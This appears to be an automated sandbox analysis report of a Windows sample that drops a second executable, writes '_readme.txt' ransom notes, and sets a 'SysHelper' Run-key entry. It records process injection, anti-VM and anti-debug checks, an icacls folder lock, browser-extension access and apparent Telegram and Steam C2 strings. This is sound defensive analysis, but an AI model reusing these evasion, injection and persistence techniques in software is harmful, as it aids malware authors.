Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CE58 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CF28 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CFC0 push eax; retn 004Dh	4_2_0050D6B5
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0050CF90 push eax; retn 004Dh	4_2_0050D6B5

Source: initial sample	Static PE information: section name: .text entropy: 7.9433536441249535
Source: initial sample	Static PE information: section name: .text entropy: 7.9433536441249535
Source: initial sample	Static PE information: section name: .text entropy: 7.652702953960109
Source: initial sample	Static PE information: section name: .text entropy: 7.652702953960109

Persistence and Installation Behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

System file written: C:\Users\user\AppData\Local\Temp\chrome.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqlite3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Jump to dropped file

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper			Jump to behavior

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

1_2_00481920

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7660, type: MEMORYSTR

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Stalling execution: Execution stalls by calling Sleep

graph_4-42545

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: appsglobals.txt.4.dr	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MOBIRISE4\MOBIRISE.EXE11976
Source: build2.exe, 00000008.00000002.2926994377.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: @CMDVRT64.DLLCMDVRT32.DLLWPESPY.DLLVMCHECK.DLLPSTOREC.DLLDIR_WATCH.DLLAPI_LOG.DLLSBIEDLL.DLLSNXHK.DLLAVGHOOKA.DLLAVGHOOKX.DLL...\.\7.32B42C548F42FDA81B4A288299BD7F129HTTPS://T.ME/BG3GOTYMEDVSMOZILLA/5.0 (X11; UBUNTU; LINUX X86_64; RV:109.0) GECKO/20100101 FIREFOX/112.0 UACQHTTPS://STEAMCOMMUNITY.COM/PROFILES/76561199601319247HELLOWFQY12O5J6NR.$V
Source: appsglobals.txt.4.dr	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\WINDOWS KITS\10\DEBUGGERS\X86\WINDBG.EXE12392

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 0_2_0255771C rdtsc

0_2_0255771C

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 4_2_00481920 GetVersionExA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,NetStatisticsGet,NetStatisticsGet,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,FreeLibrary,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateToolhelp32Snapshot,GetTickCount,Heap32ListFirst,Heap32First,Heap32Next,GetTickCount,Heap32ListNext,GetTickCount,GetTickCount,GetTickCount,Process32First,GetTickCount,GetTickCount,GetTickCount,GetTickCount,GetTickCount,CloseHandle,FreeLibrary,GlobalMemoryStatus,GetCurrentProcessId,

4_2_00481920

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		1_2_0040E670
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,		4_2_0040E670

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sqlite3[1].dll

Jump to dropped file

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_1-38162

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe TID: 7592	Thread sleep count: 157 > 30			Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe TID: 4108	Thread sleep time: -700000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Thread delayed: delay time: 700000

Jump to behavior

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: appsglobals.txt.4.dr	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware Workstation\vmnetcfg.exe12004
Source: sbvN2ih5AU.exe, 00000004.00000003.1959544924.00000000034E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: sbvN2ih5AU.exe, 00000004.00000003.1961806984.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 10/03/2023 13:09:52.535OFFICECL (0x2394)0x12d8Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 11, "Time": "2023-10-03T12:09:52Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "rC2kkStHpWGLvfAgmQZRz4w5ixE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: sbvN2ih5AU.exe, 0000000A.00000002.1834662458.00000000006D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: appsglobals.txt.4.dr	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe12207
Source: sbvN2ih5AU.exe, 00000004.00000003.1959544924.00000000034E2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: sbvN2ih5AU.exe, 00000001.00000002.1685680959.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000001.00000002.1685680959.0000000000837000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000002.2320254123.0000000000953000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000004.00000003.1696735265.0000000000953000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.0000000000640000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 00000006.00000002.2927695461.00000000005A8000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.2928275478.0000000000758000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1834175772.0000000000762000.00000004.00000020.00020000.00000000.sdmp, sbvN2ih5AU.exe, 0000000A.00000003.1833157178.0000000000762000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: sbvN2ih5AU.exe, 00000001.00000002.1685680959.0000000000818000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: build2.exe, 00000008.00000002.2928275478.0000000000758000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: sbvN2ih5AU.exe, 00000001.00000002.1685680959.0000000000837000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)
Source: sbvN2ih5AU.exe, 00000004.00000002.2320254123.00000000008B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: appsglobals.txt.4.dr	Binary or memory string: VMware.View.Client12451

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

API call chain: ExitProcess graph end node

graph_1-38164

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 0_2_0255771C rdtsc

0_2_0255771C

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_00424168 _memset,IsDebuggerPresent,

1_2_00424168

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

1_2_0042A57A

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

4_2_00481920

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

1_2_00412220

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_025560A3 push dword ptr fs:[00000030h]	0_2_025560A3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 0_2_026F0042 push dword ptr fs:[00000030h]	0_2_026F0042
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_0256B0A3 push dword ptr fs:[00000030h]	3_2_0256B0A3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 3_2_026B0042 push dword ptr fs:[00000030h]	3_2_026B0042

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_004278D5 GetProcessHeap,

1_2_004278D5

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004329EC
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 1_2_004329BB SetUnhandledExceptionFilter,	1_2_004329BB
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 0_2_026F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_026F0110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Memory written: C:\Users\user\Desktop\sbvN2ih5AU.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Memory written: C:\Users\user\Desktop\sbvN2ih5AU.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Memory written: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Memory written: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Memory written: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Memory written: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 1_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

1_2_00419F90

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe C:\Users\user\Desktop\sbvN2ih5AU.exe	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\Desktop\sbvN2ih5AU.exe "C:\Users\user\Desktop\sbvN2ih5AU.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Process created: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe "C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe"
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart
Source: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe	Process created: C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe "C:\Users\user\AppData\Local\564f1e6a-0a65-4d86-8c9e-e0b409cc869f\sbvN2ih5AU.exe" --AutoStart

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe

Code function: 0_2_027180F6 cpuid

0_2_027180F6

Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_02730AB6
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00438178
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	1_2_00440116
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_004382A2
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	1_2_0043834F
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	1_2_00438423
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: EnumSystemLocalesW,	1_2_004387C8
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: GetLocaleInfoW,	1_2_0043884E
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,_LcidFromHexString,GetLocaleInfoW,	1_2_00437BB3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: EnumSystemLocalesW,	1_2_00437E27
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437E83
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	1_2_00437F00
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	1_2_00437F83
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	3_2_026F0AB6
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _wcscmp,_wcscmp,GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: EnumSystemLocalesW,	4_2_004387C8
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: GetLocaleInfoW,	4_2_0043884E
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_TranslateName,_GetLocaleNameFromLangCountry,_GetLocaleNameFromLanguage,_GetLocaleNameFromDefault,IsValidCodePage,_wcschr,_wcschr,__itow_s,__invoke_watson,_LcidFromHexString,GetLocaleInfoW,	4_2_00437BB3
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: EnumSystemLocalesW,	4_2_00437E27
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437E83
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _GetPrimaryLen,EnumSystemLocalesW,	4_2_00437F00
Source: C:\Users\user\Desktop\sbvN2ih5AU.exe	Code function: _LcidFromHexString,GetLocaleInfoW,GetLocaleInfoW,__wcsnicmp,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00437F83

Source: C:\Users\user\AppData\Local\eb421ed2-8f32-4503-baa6-3dee6bcd0551\build2.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
